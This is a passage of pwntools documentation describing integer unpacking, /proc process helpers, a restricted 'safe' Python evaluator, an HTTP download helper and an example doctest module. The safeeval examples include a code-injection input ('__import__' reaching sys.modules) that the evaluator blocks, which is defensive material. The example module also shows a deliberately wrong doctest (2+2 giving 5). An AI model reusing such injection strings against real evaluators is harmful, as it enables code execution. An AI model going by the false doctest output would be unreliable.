>>> hex(unpack('\xff\x02\x03', 'all', endian='big', sign=True))
'-0xfdfd'
```

pwnlib.util.packing.**unpack_many**(**a*, ***kw*)

unpack(data, word_size = None, endianness = None, sign = None) -> int list

Splits *data* into groups of `word_size//8` bytes and calls `unpack()` on each group. Returns a list of the results.

word_size must be a multiple of *8* or the string "all". In the latter case a singleton list will always be returned.

Args number (int): String to convert word_size (int): Word size of the converted integers or the string "all". endianness (str): Endianness of the converted integer ("little"/"big") sign (str): Signedness of the converted integer (False/True) kwargs: Anything that can be passed to context.local

Returns The unpacked numbers.

Examples

```
>>> map(hex, unpack_many('\xaa\x55\xcc\x33', 16, endian='little', sign=False))
['0x55aa', '0x33cc']
>>> map(hex, unpack_many('\xaa\x55\xcc\x33', 16, endian='big', sign=False))
['0xaa55', '0xcc33']
>>> map(hex, unpack_many('\xaa\x55\xcc\x33', 16, endian='big', sign=True))
['-0x55ab', '-0x33cd']
>>> map(hex, unpack_many('\xff\x02\x03', 'all', endian='little', sign=True))
['0x302ff']
```

```
>>> map(hex, unpack_many('\xff\x02\x03', 'all', endian='big', sign=True))
['-0xfdfd']
```

2.33 `pwnlib.util.proc` — Working with `/proc/`

`pwnlib.util.proc.`**`ancestors`**(*pid*) → int list

> **Parameters** **`pid`** (*`int`*) – PID of the process.
>
> **Returns** List of PIDs of whose parent process is *pid* or an ancestor of *pid*.

`pwnlib.util.proc.`**`children`**(*ppid*) → int list

> **Parameters** **`pid`** (*`int`*) – PID of the process.
>
> **Returns** List of PIDs of whose parent process is *pid*.

`pwnlib.util.proc.`**`cmdline`**(*pid*) → str list

> **Parameters** **`pid`** (*`int`*) – PID of the process.
>
> **Returns** A list of the fields in `/proc/<pid>/cmdline`.

`pwnlib.util.proc.`**`cwd`**(*pid*) → str

> **Parameters** **`pid`** (*`int`*) – PID of the process.
>
> **Returns** The path of the process's current working directory. I.e. what `/proc/<pid>/cwd` points to.

`pwnlib.util.proc.`**`descendants`**(*pid*) → dict

> **Parameters** **`pid`** (*`int`*) – PID of the process.
>
> **Returns** Dictionary mapping the PID of each child of *pid* to it's descendants.

`pwnlib.util.proc.`**`exe`**(*pid*) → str

> **Parameters** **`pid`** (*`int`*) – PID of the process.
>
> **Returns** The path of the binary of the process. I.e. what `/proc/<pid>/exe` points to.

`pwnlib.util.proc.`**`name`**(*pid*) → str

> **Parameters** **`pid`** (*`int`*) – PID of the process.
>
> **Returns** Name of process as listed in `/proc/<pid>/status`.

Example

```
>>> pid = pidof('init')[0]
>>> name(pid) == 'init'
True
```

`pwnlib.util.proc.`**`parent`**(*pid*) → int

> **Parameters** **`pid`** (*`int`*) – PID of the process.
>
> **Returns** Parent PID as listed in `/proc/<pid>/status` under `PPid`, or 0 if there is not parent.

`pwnlib.util.proc.`**`pid_by_name`**(*name*) → int list

> **Parameters** **`name`** (*`str`*) – Name of program.

Returns List of PIDs matching *name* sorted by lifetime, youngest to oldest.

Example

```
>>> os.getpid() in pid_by_name(name(os.getpid()))
True
```

pwnlib.util.proc.**pidof**(*target*) → int list

Get PID(s) of *target*. The returned PID(s) depends on the type of *target*:

- `str`: PIDs of all processes with a name matching *target*.
- *pwnlib.tubes.process.process*: singleton list of the PID of *target*.
- *pwnlib.tubes.sock.sock*: singleton list of the PID at the remote end of *target* if it is running on the host. Otherwise an empty list.

Parameters **target** (*object*) – The target whose PID(s) to find.

Returns A list of found PIDs.

pwnlib.util.proc.**starttime**(*pid*) → float

Parameters **pid** (*int*) – PID of the process.

Returns The time (in seconds) the process started after system boot

pwnlib.util.proc.**stat**(*pid*) → str list

Parameters **pid** (*int*) – PID of the process.

Returns A list of the values in `/proc/<pid>/stat`, with the exception that `(` and `)` has been removed from around the process name.

pwnlib.util.proc.**state**(*pid*) → str

Parameters **pid** (*int*) – PID of the process.

Returns State of the process as listed in `/proc/<pid>/status`. See *proc(5)* for details.

Example

```
>>> state(os.getpid())
'R (running)'
```

pwnlib.util.proc.**status**(*pid*) → dict

Get the status of a process.

Parameters **pid** (*int*) – PID of the process.

Returns The contents of `/proc/<pid>/status` as a dictionary.

pwnlib.util.proc.**tracer**(*pid*) → int

Parameters **pid** (*int*) – PID of the process.

Returns PID of the process tracing *pid*, or None if no *pid* is not being traced.

Example

```
>>> tracer(os.getpid()) is None
True
```

`pwnlib.util.proc.`**`wait_for_debugger`**`(`*pid*`)` → None

Sleeps until the process with PID *pid* is being traced.

Parameters **`pid`** (*`int`*) – PID of the process.

Returns None

2.34 `pwnlib.util.safeeval` — Safe evaluation of python code

`pwnlib.util.safeeval.`**`const`**`(`*expression*`)` → value

Safe Python constant evaluation

Evaluates a string that contains an expression describing a Python constant. Strings that are not valid Python expressions or that contain other code besides the constant raise ValueError.

Examples

```
>>> const("10")
10
>>> const("[1,2, (3,4), {'foo':'bar'}]")
[1, 2, (3, 4), {'foo': 'bar'}]
>>> const("[1]+[2]")
Traceback (most recent call last):
...
ValueError: opcode BINARY_ADD not allowed
```

`pwnlib.util.safeeval.`**`expr`**`(`*expression*`)` → value

Safe Python expression evaluation

Evaluates a string that contains an expression that only uses Python constants. This can be used to e.g. evaluate a numerical expression from an untrusted source.

Examples

```
>>> expr("1+2")
3
>>> expr("[1,2]*2")
[1, 2, 1, 2]
>>> expr("__import__('sys').modules")
Traceback (most recent call last):
...
ValueError: opcode LOAD_NAME not allowed
```

`pwnlib.util.safeeval.`**`test_expr`**`(`*expr*, *allowed_codes*`)` → codeobj

Test that the expression contains only the listed opcodes. If the expression is valid and contains only allowed codes, return the compiled code object. Otherwise raise a ValueError

`pwnlib.util.safeeval.`**`values`**`(`*expression*, *dict*`)` → value

Safe Python expression evaluation

Evaluates a string that contains an expression that only uses Python constants and values from a supplied dictionary. This can be used to e.g. evaluate e.g. an argument to a syscall.

Note: This is potentially unsafe if e.g. the __add__ method has side effects.

Examples

```
>>> values("A + 4", {'A': 6})
10
>>> class Foo:
...     def __add__(self, other):
...         print "Firing the missiles"
>>> values("A + 1", {'A': Foo()})
Firing the missiles
>>> values("A.x", {'A': Foo()})
Traceback (most recent call last):
...
ValueError: opcode LOAD_ATTR not allowed
```

2.35 `pwnlib.util.web` — Utilities for working with the WWW

`pwnlib.util.web.`**`wget`**(*url*, *save=None*, *timeout=5*) → str

Downloads a file via HTTP/HTTPS.

Parameters

- **url** (*str*) – URL to download
- **save** (*str or bool*) – Name to save as. Any truthy value will auto-generate a name based on the URL.
- **timeout** (*int*) – Timeout, in seconds

Example

```
>>> url    = 'https://httpbin.org/robots.txt'
>>> result = wget(url)
>>> result
'User-agent: *\nDisallow: /deny\n'
>>> result2 = wget(url, True)
>>> result == file('robots.txt').read()
True
```

2.36 `pwnlib.testexample` — Example Test Module

Module-level documentation would go here, along with a general description of the functionality. You can also add module-level doctests.

You can see what the documentation for this module will look like here: https://docs.pwntools.com/en/stable/testexample.html

The tests for this module are run when the documentation is automatically-generated by Sphinx. This particular module is invoked by an "automodule" directive, which imports everything in the module, or everything listed in `__all__` in the module.

The doctests are automatically picked up by the >>> symbol, like from the Python prompt. For more on doctests, see the Python documentation.

All of the syntax in this file is ReStructuredText. You can find a nice cheat sheet here.

Here's an example of a module-level doctest:

```
>>> add(3, add(2, add(1, 0)))
6
```

If doctests are wrong / broken, you can disable them temporarily.

```
>>> add(2, 2)
5
```

Some things in Python are non-deterministic, like `dict` or `set` ordering. There are a lot of ways to work around this, but the accepted way of doing this is to test for equality.

```
>>> a = {a:a+1 for a in range(3)}
>>> a == {0:1, 1:2, 2:3}
True
```

In order to use other modules, they need to be imported from the RST which documents the module.

```
>>> os.path.basename('foo/bar')
'bar'
```

`pwnlib.testexample.`**`add`**`(`*a*, *b*`)` → int

Adds the numbers `a` and `b`.

Parameters

- **a** (*int*) – First number to add
- **b** (*int*) – Second number to add

Returns The sum of `a` and `b`.

Examples

```
>>> add(1,2)
3
>>> add(-1, 33)
32
```

CHAPTER 3

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